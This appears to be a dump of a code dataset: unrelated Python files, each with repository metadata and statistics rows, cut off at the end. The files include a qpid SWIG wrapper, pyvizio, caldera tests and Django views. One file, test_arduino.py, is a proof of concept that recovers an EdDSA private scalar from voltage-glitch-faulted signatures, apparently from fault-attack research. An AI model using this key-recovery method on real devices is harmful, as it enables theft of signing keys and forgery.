def __init__(self, *args):
this = _cqpid.new_Session(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_Session
__del__ = lambda self : None;
def close(self): return _cqpid.Session_close(self)
def commit(self): return _cqpid.Session_commit(self)
def rollback(self): return _cqpid.Session_rollback(self)
def _acknowledge_all(self, sync = False): return _cqpid.Session__acknowledge_all(self, sync)
def _acknowledge_msg(self, *args): return _cqpid.Session__acknowledge_msg(self, *args)
def acknowledge(self, *args): return _cqpid.Session_acknowledge(self, *args)
def acknowledgeUpTo(self, *args): return _cqpid.Session_acknowledgeUpTo(self, *args)
def reject(self, *args): return _cqpid.Session_reject(self, *args)
def release(self, *args): return _cqpid.Session_release(self, *args)
def sync(self, block = True): return _cqpid.Session_sync(self, block)
def getReceivable(self): return _cqpid.Session_getReceivable(self)
def getUnsettledAcks(self): return _cqpid.Session_getUnsettledAcks(self)
def nextReceiver(self, *args): return _cqpid.Session_nextReceiver(self, *args)
def sender(self, *args): return _cqpid.Session_sender(self, *args)
def receiver(self, *args): return _cqpid.Session_receiver(self, *args)
def getSender(self, *args): return _cqpid.Session_getSender(self, *args)
def getReceiver(self, *args): return _cqpid.Session_getReceiver(self, *args)
def getConnection(self): return _cqpid.Session_getConnection(self)
def hasError(self): return _cqpid.Session_hasError(self)
def checkError(self): return _cqpid.Session_checkError(self)
def acknowledge(self, message=None, disposition=None, sync=True) :
if disposition :
raise Exception("SWIG does not support dispositions yet. Use "
"Session.reject and Session.release instead")
if message :
self._acknowledge_msg(message, sync)
else :
self._acknowledge_all(sync)
__swig_getmethods__["connection"] = getConnection
if _newclass: connection = property(getConnection)
Session_swigregister = _cqpid.Session_swigregister
Session_swigregister(Session)
class Connection(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, Connection, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, Connection, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_Connection(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_Connection
__del__ = lambda self : None;
def setOption(self, *args): return _cqpid.Connection_setOption(self, *args)
def open(self): return _cqpid.Connection_open(self)
def opened(self): return _cqpid.Connection_opened(self)
def isOpen(self): return _cqpid.Connection_isOpen(self)
def close(self): return _cqpid.Connection_close(self)
def createTransactionalSession(self, *args): return _cqpid.Connection_createTransactionalSession(self, *args)
def createSession(self, *args): return _cqpid.Connection_createSession(self, *args)
def getSession(self, *args): return _cqpid.Connection_getSession(self, *args)
def getAuthenticatedUsername(self): return _cqpid.Connection_getAuthenticatedUsername(self)
# Handle the different options by converting underscores to hyphens.
# Also, the sasl_mechanisms option in Python has no direct
# equivalent in C++, so we will translate them to sasl_mechanism
# when possible.
def __init__(self, url=None, **options):
if url:
args = [url]
else:
args = []
if options :
if "sasl_mechanisms" in options :
if ' ' in options.get("sasl_mechanisms",'') :
raise Exception(
"C++ Connection objects are unable to handle "
"multiple sasl-mechanisms")
options["sasl_mechanism"] = options.pop("sasl_mechanisms")
args.append(options)
this = _cqpid.new_Connection(*args)
try: self.this.append(this)
except: self.this = this
def _session(self, *args): return _cqpid.Connection__session(self, *args)
def session(self, name=None, transactional=False) :
if name is None :
name = ''
return self._session(name, transactional)
@staticmethod
def establish(url=None, **options) :
conn = Connection(url, **options)
conn.open()
return conn
Connection_swigregister = _cqpid.Connection_swigregister
Connection_swigregister(Connection)
class FailoverUpdates(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, FailoverUpdates, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, FailoverUpdates, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_FailoverUpdates(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_FailoverUpdates
__del__ = lambda self : None;
FailoverUpdates_swigregister = _cqpid.FailoverUpdates_swigregister
FailoverUpdates_swigregister(FailoverUpdates)
def decodeMap(*args):
return _cqpid.decodeMap(*args)
decodeMap = _cqpid.decodeMap
def decodeList(*args):
return _cqpid.decodeList(*args)
decodeList = _cqpid.decodeList
# Bring into module scope
UNSPECIFIED = Message.UNSPECIFIED
# This file is compatible with both classic and new-style classes.
| 40.195079 | 113 | 0.70233 | 2,610 | 22,871 | 5.737931 | 0.12682 | 0.068309 | 0.045072 | 0.04821 | 0.307025 | 0.231704 | 0.203259 | 0.184428 | 0.167602 | 0.164997 | 0 | 0.001369 | 0.201784 | 22,871 | 568 | 114 | 40.265845 | 0.818964 | 0.043417 | 0 | 0.209746 | 1 | 0 | 0.031117 | 0 | 0 | 0 | 0 | 0 | 0.002119 | 1 | 0.254237 | false | 0.004237 | 0.019068 | 0.201271 | 0.483051 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
0247ac0fdc3c9a9b44b3cfb5e9eafb5ac35319ea | 240 | py | Python | zhangliqiang/20180402/h6.py | python20180319howmework/homework | c826d7aa4c52f8d22f739feb134d20f0b2c217cd | [
"Apache-2.0"
] | null | null | null | zhangliqiang/20180402/h6.py | python20180319howmework/homework | c826d7aa4c52f8d22f739feb134d20f0b2c217cd | [
"Apache-2.0"
] | null | null | null | zhangliqiang/20180402/h6.py | python20180319howmework/homework | c826d7aa4c52f8d22f739feb134d20f0b2c217cd | [
"Apache-2.0"
] | null | null | null | #6. 有有这样一个字典d = {"chaoqian":87, “caoxu”:90, “caohuan”:98, “wuhan”:82, “zhijia”:89}
# 1)将以上字典按成绩排名
d = {"chaoqian":87,"caoxu":90,"caohuan":98,"wuhan":82, "zhijia":89}
s = sorted(d.items(), key = lambda k:k[1],reverse = True)
print(s)
| 26.666667 | 82 | 0.608333 | 38 | 240 | 3.842105 | 0.631579 | 0.136986 | 0.205479 | 0.232877 | 0.561644 | 0.561644 | 0.561644 | 0.561644 | 0.561644 | 0.561644 | 0 | 0.110048 | 0.129167 | 240 | 8 | 83 | 30 | 0.588517 | 0.4 | 0 | 0 | 0 | 0 | 0.219858 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
024ecb16b4a0f00365a2b2fe06517a740d97893a | 1,202 | py | Python | tests/test_transforms/test_transform_benchmarks.py | jvrana/caldera | a346324e77f20739e00a82f97530dda4906f59dd | [
"MIT"
] | 2 | 2021-12-13T17:52:17.000Z | 2021-12-13T17:52:18.000Z | tests/test_transforms/test_transform_benchmarks.py | jvrana/caldera | a346324e77f20739e00a82f97530dda4906f59dd | [
"MIT"
] | 4 | 2020-10-06T21:06:15.000Z | 2020-10-10T01:18:23.000Z | tests/test_transforms/test_transform_benchmarks.py | jvrana/caldera | a346324e77f20739e00a82f97530dda4906f59dd | [
"MIT"
] | null | null | null | import pytest
from caldera.data import GraphBatch
from caldera.transforms import AddSelfLoops
from caldera.transforms import FullyConnected
from caldera.transforms import RandomEdgeMask
from caldera.transforms import RandomHop
from caldera.transforms import RandomNodeMask
from caldera.transforms import Reverse
from caldera.transforms import Shuffle
from caldera.transforms import Undirected
transforms = [
AddSelfLoops(),
FullyConnected(),
RandomNodeMask(0.2),
RandomEdgeMask(0.2),
RandomHop(1, 2),
Reverse(),
Undirected(),
Shuffle(),
]
@pytest.fixture(params=[pytest.param(1000, marks=pytest.mark.slowtest), 100])
def data(seeds, request):
data = GraphBatch.random_batch(request.param, 5, 4, 3)
return data
@pytest.mark.parametrize("transform", transforms, ids=lambda x: str(x))
def test_transform_benchmark(transform, data):
assert transform(data)
@pytest.mark.parametrize("transform", transforms, ids=lambda x: str(x))
@pytest.mark.parametrize("data", [100], indirect=True)
def test_transform_does_not_share_storage(transform, data):
data2 = transform(data)
assert not data2.share_storage(data)
assert not data.share_storage(data2)
| 27.953488 | 77 | 0.764559 | 148 | 1,202 | 6.141892 | 0.344595 | 0.108911 | 0.184818 | 0.237624 | 0.127613 | 0.127613 | 0.127613 | 0.127613 | 0.127613 | 0.127613 | 0 | 0.021113 | 0.133111 | 1,202 | 42 | 78 | 28.619048 | 0.851248 | 0 | 0 | 0.060606 | 0 | 0 | 0.018303 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.090909 | false | 0 | 0.30303 | 0 | 0.424242 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
02538844d2645e8ee0c74cdaefbb2740bd18b1a7 | 103 | py | Python | main.py | we684123/change_twitter_dowload_image_extension_name | e66d4ee14890e21892e9aa821524739c8ace5ea7 | [
"MIT"
] | null | null | null | main.py | we684123/change_twitter_dowload_image_extension_name | e66d4ee14890e21892e9aa821524739c8ace5ea7 | [
"MIT"
] | null | null | null | main.py | we684123/change_twitter_dowload_image_extension_name | e66d4ee14890e21892e9aa821524739c8ace5ea7 | [
"MIT"
] | null | null | null | import os
import sys
extension = '.jpg'
for arg in sys.argv[1:]:
os.rename(arg, arg + extension)
| 12.875 | 35 | 0.660194 | 17 | 103 | 4 | 0.647059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012195 | 0.203884 | 103 | 7 | 36 | 14.714286 | 0.817073 | 0 | 0 | 0 | 0 | 0 | 0.038835 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
02548eded45451d990826f735a81ae04d8202b4f | 329 | py | Python | test/tests/compare_order.py | jmgc/pyston | 9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f | [
"BSD-2-Clause",
"Apache-2.0"
] | null | null | null | test/tests/compare_order.py | jmgc/pyston | 9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f | [
"BSD-2-Clause",
"Apache-2.0"
] | null | null | null | test/tests/compare_order.py | jmgc/pyston | 9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f | [
"BSD-2-Clause",
"Apache-2.0"
] | null | null | null | class A(object):
def __eq__(self, rhs):
return True
class B(object):
def __eq__(self, lhs):
return False
print A() == B()
print B() == A()
print A() in [B()]
print B() in [A()]
print A() in (B(),)
print B() in (A(),)
print A() in {B(): 1}
print B() in {A(): 1}
print A() in {B()}
print B() in {A()}
| 14.304348 | 26 | 0.50152 | 58 | 329 | 2.706897 | 0.258621 | 0.191083 | 0.178344 | 0.229299 | 0.407643 | 0.407643 | 0.407643 | 0.407643 | 0.292994 | 0.292994 | 0 | 0.00823 | 0.261398 | 329 | 22 | 27 | 14.954545 | 0.63786 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.625 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
025a8e92aeeeaded4ec9112e4d99e43155d77e0e | 1,948 | py | Python | test_arduino.py | kudelskisecurity/EdDSA-fault-attack | 09c539c6c2f84b8c212aef64c6b08ac24e3161f5 | [
"Unlicense"
] | 63 | 2017-10-05T03:44:06.000Z | 2022-01-17T20:57:34.000Z | test_arduino.py | kudelskisecurity/EdDSA-fault-attack | 09c539c6c2f84b8c212aef64c6b08ac24e3161f5 | [
"Unlicense"
] | null | null | null | test_arduino.py | kudelskisecurity/EdDSA-fault-attack | 09c539c6c2f84b8c212aef64c6b08ac24e3161f5 | [
"Unlicense"
] | 4 | 2017-10-06T16:08:04.000Z | 2020-10-10T15:39:13.000Z | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
from eddsafault import checkvalid, recovera
from binascii import unhexlify
# Faulted signatures from Ardiono Nano board
faultedSignatures = [
unhexlify('d49bd03b98b85afbcff46bfacf9af673662a253871ec9a56d035aefad2166e5449f230f6967071855663997a5fe0562f73caec8cceaa202a8ba39c1cee807c0b'),
unhexlify('d49bd03b98b85afbcff46bfacf9af673662a253871ec9a56d035aefad2166e54b2811f21f6e1f7d92d393621bc0584ee7b289a357448ec54bd3d7f21d42aee0f'),
unhexlify('d49bd03b98b85afbcff46bfacf9af673662a253871ec9a56d035aefad2166e5467a7f6fc4a0270d5b2e238777b4453cd9733e4f4052b5b097c21fc3062b8b008'),
unhexlify('d49bd03b98b85afbcff46bfacf9af673662a253871ec9a56d035aefad2166e5458b12c240028c2e854a1f373b874732e655b1780fca01001fe12691b93879500'),
unhexlify('d49bd03b98b85afbcff46bfacf9af673662a253871ec9a56d035aefad2166e544b4934ee480c076ab4b19ed375044f4e601ccb7a751b4b81cf8c607d9122e00b')]
if __name__ == "__main__":
print('Fault from Arduino Nano voltage glitch:')
# Arduino public key:
pubKey = unhexlify('9c74125c9a2bcfbc6107bcdb00b79b938112b3ec2fa4db67b7128f2a8cc9da43')
signedtext = b'test1' + b"\x00"*27
sign1 = unhexlify('d49bd03b98b85afbcff46bfacf9af673662a253871ec9a56d035aefad2166e54')# the R value
sign1 += unhexlify('1642b09174b00e34f617f1f758e2b0f71713da45f99f729a3175a4f77f475f08')# the S value
print("signature 1 is valid: " + str(checkvalid(sign1, signedtext, pubKey)))
for s in faultedSignatures:
# We can verify that the 1st signature is valid and which is not:
print("signature 2 is valid: " + str(checkvalid( s, signedtext, pubKey)))
# And we crack it, firstly the valid signature and then the invalid signature:
offset, recovereda = recovera(sign1, s, pubKey, signedtext)
if offset != None:
print('Found value of a thanks to error at offset %d' % offset)
print('a = ' + str(recovereda))
| 60.875 | 146 | 0.792094 | 143 | 1,948 | 10.734266 | 0.566434 | 0.013681 | 0.013029 | 0.026059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.309893 | 0.138604 | 1,948 | 31 | 147 | 62.83871 | 0.604887 | 0.139117 | 0 | 0 | 0 | 0 | 0.587777 | 0.498502 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.095238 | 0 | 0.095238 | 0.238095 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
02634e84dcee4e29b28d012125e1e389e131cc6b | 4,406 | py | Python | pyvizio/vizio.py | paulcbetts/pyvizio | b871dea2232bc69eb445162a844eee75a7813cb2 | [
"MIT"
] | null | null | null | pyvizio/vizio.py | paulcbetts/pyvizio | b871dea2232bc69eb445162a844eee75a7813cb2 | [
"MIT"
] | null | null | null | pyvizio/vizio.py | paulcbetts/pyvizio | b871dea2232bc69eb445162a844eee75a7813cb2 | [
"MIT"
] | null | null | null | import logging
from urllib.parse import urlsplit
import requests
import xmltodict
from .cmd_input import GetInputsListCommand, GetCurrentInputCommand, ChangeInputCommand
from .cmd_pair import BeginPairCommand, CancelPairCommand, PairChallengeCommand
from .cmd_power import GetPowerStateCommand
from .cmd_remote import EmulateRemoteCommand
from .cmd_settings import GetCurrentAudioCommand
from .discovery import discover
from .protocol import invoke_api, invoke_api_auth, KeyCodes
_LOGGER = logging.getLogger(__name__)
class DeviceDescription(object):
def __init__(self, ip, name, model, udn):
self.ip = ip
self.name = name
self.model = model
self.udn = udn
class Vizio(object):
def __init__(self, device_id, ip, name, auth_token=""):
self._ip = ip
self._name = name
self._device_id = device_id
self._auth_token = auth_token
def __invoke_api(self, cmd):
return invoke_api(self._ip, cmd, _LOGGER)
def __invoke_api_auth(self, cmd):
if self._auth_token is None or "" == self._auth_token:
raise Exception("Empty auth token")
return invoke_api_auth(self._ip, cmd, self._auth_token, _LOGGER)
def __remote(self, key_code):
if isinstance(key_code, list) is False:
key_code = [key_code]
cmd = EmulateRemoteCommand(key_code)
result = self.__invoke_api_auth(cmd)
return result is not None
def __remote_multiple(self, key_code, num):
key_codes = []
for ii in range(0, num):
key_codes.append(key_code)
return self.__remote(key_codes)
@staticmethod
def discovery():
results = []
devices = discover("urn:dial-multiscreen-org:device:dial:1")
for dev in devices:
data = xmltodict.parse(requests.get(dev.location, verify=False).text)
if "root" not in data or "device" not in data["root"]:
continue
root = data["root"]["device"]
manufacturer = root["manufacturer"]
if manufacturer is None or "VIZIO" != manufacturer:
continue
split_url = urlsplit(dev.location)
device = DeviceDescription(split_url.hostname, root["friendlyName"], root["modelName"], root["UDN"])
results.append(device)
return results
def start_pair(self):
return self.__invoke_api(BeginPairCommand(self._device_id, self._name))
def stop_pair(self):
return self.__invoke_api(CancelPairCommand(self._device_id, self._name))
def pair(self, ch_type, token, pin):
return self.__invoke_api(PairChallengeCommand(self._device_id, ch_type, token, pin))
def get_inputs(self):
return self.__invoke_api_auth(GetInputsListCommand())
def get_current_input(self):
return self.__invoke_api_auth(GetCurrentInputCommand())
def get_power_state(self):
return self.__invoke_api_auth(GetPowerStateCommand())
def pow_on(self):
return self.__remote(KeyCodes.POW_ON)
def pow_off(self):
return self.__remote(KeyCodes.POW_OFF)
def pow_toggle(self):
return self.__remote(KeyCodes.POW_TOGGLE)
def vol_up(self, num=1):
return self.__remote_multiple(KeyCodes.VOL_UP, num)
def vol_down(self, num=1):
return self.__remote_multiple(KeyCodes.VOL_DOWN, num)
def get_current_volume(self):
return self.__invoke_api_auth(GetCurrentAudioCommand())
def ch_up(self, num=1):
return self.__remote_multiple(KeyCodes.CH_UP, num)
def ch_down(self, num=1):
return self.__remote_multiple(KeyCodes.CH_DOWN, num)
def ch_prev(self):
return self.__remote(KeyCodes.CH_PREV)
def mute_on(self):
return self.__remote(KeyCodes.MUTE_ON)
def mute_off(self):
return self.__remote(KeyCodes.MUTE_OFF)
def mute_toggle(self):
return self.__remote(KeyCodes.MUTE_TOGGLE)
def input_next(self):
# HACK: Single call just invoking overlay menu with current input
return self.__remote_multiple(KeyCodes.INPUT_NEXT, 2)
def input_switch(self, name):
cur_input = self.get_current_input()
if cur_input is None:
_LOGGER.error("Couldn't detect current input")
return False
return self.__invoke_api_auth(ChangeInputCommand(cur_input.id, name))
| 31.927536 | 112 | 0.677258 | 555 | 4,406 | 5.048649 | 0.227027 | 0.074946 | 0.074233 | 0.054247 | 0.261242 | 0.23162 | 0.082084 | 0.064954 | 0.064954 | 0 | 0 | 0.00207 | 0.23241 | 4,406 | 137 | 113 | 32.160584 | 0.826434 | 0.014299 | 0 | 0.019802 | 0 | 0 | 0.034094 | 0.008754 | 0 | 0 | 0 | 0 | 0 | 1 | 0.267327 | false | 0 | 0.108911 | 0.19802 | 0.653465 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
0266433d3cfdb6922bd7713b071f0c2827af2b0c | 55 | py | Python | src/apps/address/__init__.py | pygaur/gsshop | 87a25239ebd3d15f67057865b66d07d6857f6084 | [
"Apache-2.0"
] | 2 | 2020-04-14T19:22:13.000Z | 2020-08-18T17:08:33.000Z | src/apps/address/__init__.py | pygaur/gsshop | 87a25239ebd3d15f67057865b66d07d6857f6084 | [
"Apache-2.0"
] | 8 | 2020-05-25T14:05:45.000Z | 2022-03-12T00:46:30.000Z | src/apps/address/__init__.py | pygaur/gsshop | 87a25239ebd3d15f67057865b66d07d6857f6084 | [
"Apache-2.0"
] | 1 | 2020-04-14T19:22:18.000Z | 2020-04-14T19:22:18.000Z | default_app_config = 'apps.address.apps.AddressConfig'
| 27.5 | 54 | 0.836364 | 7 | 55 | 6.285714 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054545 | 55 | 1 | 55 | 55 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0.563636 | 0.563636 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
027603840078c7f6f0cdaabac6cf511bdfbed3e5 | 81 | py | Python | doc/_i18n/jp/tutorials/introduction/first-controller/properties_sources.py | rohanpsingh/mc_rtc | 63918efc54f561650a8e93f449c40ec156a6feb4 | [
"BSD-2-Clause"
] | null | null | null | doc/_i18n/jp/tutorials/introduction/first-controller/properties_sources.py | rohanpsingh/mc_rtc | 63918efc54f561650a8e93f449c40ec156a6feb4 | [
"BSD-2-Clause"
] | null | null | null | doc/_i18n/jp/tutorials/introduction/first-controller/properties_sources.py | rohanpsingh/mc_rtc | 63918efc54f561650a8e93f449c40ec156a6feb4 | [
"BSD-2-Clause"
] | null | null | null | # MyFirstControllerの__init__メソッド内に追加する
self.jointIndex = 0
self.goingLeft = True
| 20.25 | 38 | 0.839506 | 9 | 81 | 7.111111 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013699 | 0.098765 | 81 | 3 | 39 | 27 | 0.863014 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0283e9856d1a7dc8161741aa36a733b9b2843fe0 | 149 | py | Python | testutils/config/override_celery.py | getmetamapper/metamapper | 0b2f67eec03fbf7ece35ff9f58ea9bb2dde4d85f | [
"BSD-2-Clause"
] | 53 | 2020-07-01T23:11:59.000Z | 2022-03-31T19:10:28.000Z | testutils/config/override_celery.py | metamapper-io/metamapper | 376716e72bcaca62f1ec09ca9a13a0346e5502f9 | [
"BSD-2-Clause"
] | 5 | 2020-11-25T19:48:57.000Z | 2022-02-27T23:50:18.000Z | testutils/config/override_celery.py | metamapper-io/metamapper | 376716e72bcaca62f1ec09ca9a13a0346e5502f9 | [
"BSD-2-Clause"
] | 5 | 2020-08-29T16:43:59.000Z | 2022-01-17T19:05:30.000Z |
broker_url = 'amqp://guest:guest@localhost:5672//'
accept_content = ['application/json']
result_serializer = 'pickle'
task_serializer = 'pickle'
| 16.555556 | 50 | 0.738255 | 17 | 149 | 6.235294 | 0.823529 | 0.301887 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030075 | 0.107383 | 149 | 8 | 51 | 18.625 | 0.766917 | 0 | 0 | 0 | 0 | 0 | 0.425676 | 0.236486 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
65f9b867923fbb30590a2354d426436ea666e99f | 333 | py | Python | oracle_problems/problem_3.py | loftwah/Daily-Coding-Problem | 0327f0b4f69ef419436846c831110795c7a3c1fe | [
"MIT"
] | 129 | 2018-10-14T17:52:29.000Z | 2022-01-29T15:45:57.000Z | oracle_problems/problem_3.py | loftwah/Daily-Coding-Problem | 0327f0b4f69ef419436846c831110795c7a3c1fe | [
"MIT"
] | 2 | 2019-11-30T23:28:23.000Z | 2020-01-03T16:30:32.000Z | oracle_problems/problem_3.py | loftwah/Daily-Coding-Problem | 0327f0b4f69ef419436846c831110795c7a3c1fe | [
"MIT"
] | 60 | 2019-02-21T09:18:31.000Z | 2022-03-25T21:01:04.000Z | """This problem was asked by Oracle.
Given a binary search tree, find the floor and ceiling of a given integer.
The floor is the highest element in the tree less than or equal to an integer,
while the ceiling is the lowest element in the tree greater than or equal to an integer.
If either value does not exist, return None.
"""
| 37 | 88 | 0.762763 | 61 | 333 | 4.163934 | 0.639344 | 0.062992 | 0.094488 | 0.125984 | 0.173228 | 0.173228 | 0 | 0 | 0 | 0 | 0 | 0 | 0.198198 | 333 | 8 | 89 | 41.625 | 0.951311 | 0.975976 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
5a10ef22bd24b4079e100db0e6e6e0f3a1723329 | 176 | py | Python | data_ingestion/__init__.py | pengfei99/TwitterAnalysisi | e827f1f3d2f7c2e4668e1e3f4e5838a5858190e6 | [
"MIT"
] | null | null | null | data_ingestion/__init__.py | pengfei99/TwitterAnalysisi | e827f1f3d2f7c2e4668e1e3f4e5838a5858190e6 | [
"MIT"
] | null | null | null | data_ingestion/__init__.py | pengfei99/TwitterAnalysisi | e827f1f3d2f7c2e4668e1e3f4e5838a5858190e6 | [
"MIT"
] | null | null | null | __version__ = '0.0.1'
# Set default logging handler to avoid "No handler found" warnings.
import logging
logging.getLogger('atlas_s3_hook').addHandler(logging.NullHandler())
| 25.142857 | 68 | 0.778409 | 24 | 176 | 5.458333 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025478 | 0.107955 | 176 | 6 | 69 | 29.333333 | 0.808917 | 0.369318 | 0 | 0 | 0 | 0 | 0.165138 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
5a21e5f772b00a074b3a85fa581a8b087a52c4b1 | 2,017 | py | Python | escola/views.py | antonio-yves/escola-api | 915baa17c6cf0a9460accb826472e0954da7f88f | [
"MIT"
] | null | null | null | escola/views.py | antonio-yves/escola-api | 915baa17c6cf0a9460accb826472e0954da7f88f | [
"MIT"
] | null | null | null | escola/views.py | antonio-yves/escola-api | 915baa17c6cf0a9460accb826472e0954da7f88f | [
"MIT"
] | null | null | null | # Nome do arquivo: views.py
# Autor: Antonio Yves de Sousa Dantas
# Creado em: Janeiro de 2022
# Última modificação: 09 de Janeiro de 2022 às 19h54
# Licença: MIT
from rest_framework import viewsets, generics
from escola.models import Aluno, Curso, Matricula
from escola.serializer import AlunoSerializer, CursoSerializer, MatriculaSerializer, MatriculasAlunoSerializer, MatriculasCursoSerializer
from rest_framework.authentication import BasicAuthentication
from rest_framework.permissions import IsAuthenticated
class AlunosViewSet(viewsets.ModelViewSet):
'''Exibindo todos os Alunos'''
queryset = Aluno.objects.all()
serializer_class = AlunoSerializer
authentication_classes = [BasicAuthentication]
permission_classes = [IsAuthenticated]
class CursosViewSet(viewsets.ModelViewSet):
'''Exibindo todos os Cursos'''
queryset = Curso.objects.all()
serializer_class = CursoSerializer
authentication_classes = [BasicAuthentication]
permission_classes = [IsAuthenticated]
class MatriculasViewSet(viewsets.ModelViewSet):
'''Exibindo todas as Matriculas'''
queryset = Matricula.objects.all()
serializer_class = MatriculaSerializer
authentication_classes = [BasicAuthentication]
permission_classes = [IsAuthenticated]
class ListaMatriculasAluno(generics.ListAPIView):
'''Lista as matrículas de um aluno ou aluna'''
def get_queryset(self):
queryset = Matricula.objects.filter(aluno_id = self.kwargs['pk'])
return queryset
serializer_class = MatriculasAlunoSerializer
authentication_classes = [BasicAuthentication]
permission_classes = [IsAuthenticated]
class ListaMatriculasCurso(generics.ListAPIView):
'''Lista os alunos matriculados em um curso'''
def get_queryset(self):
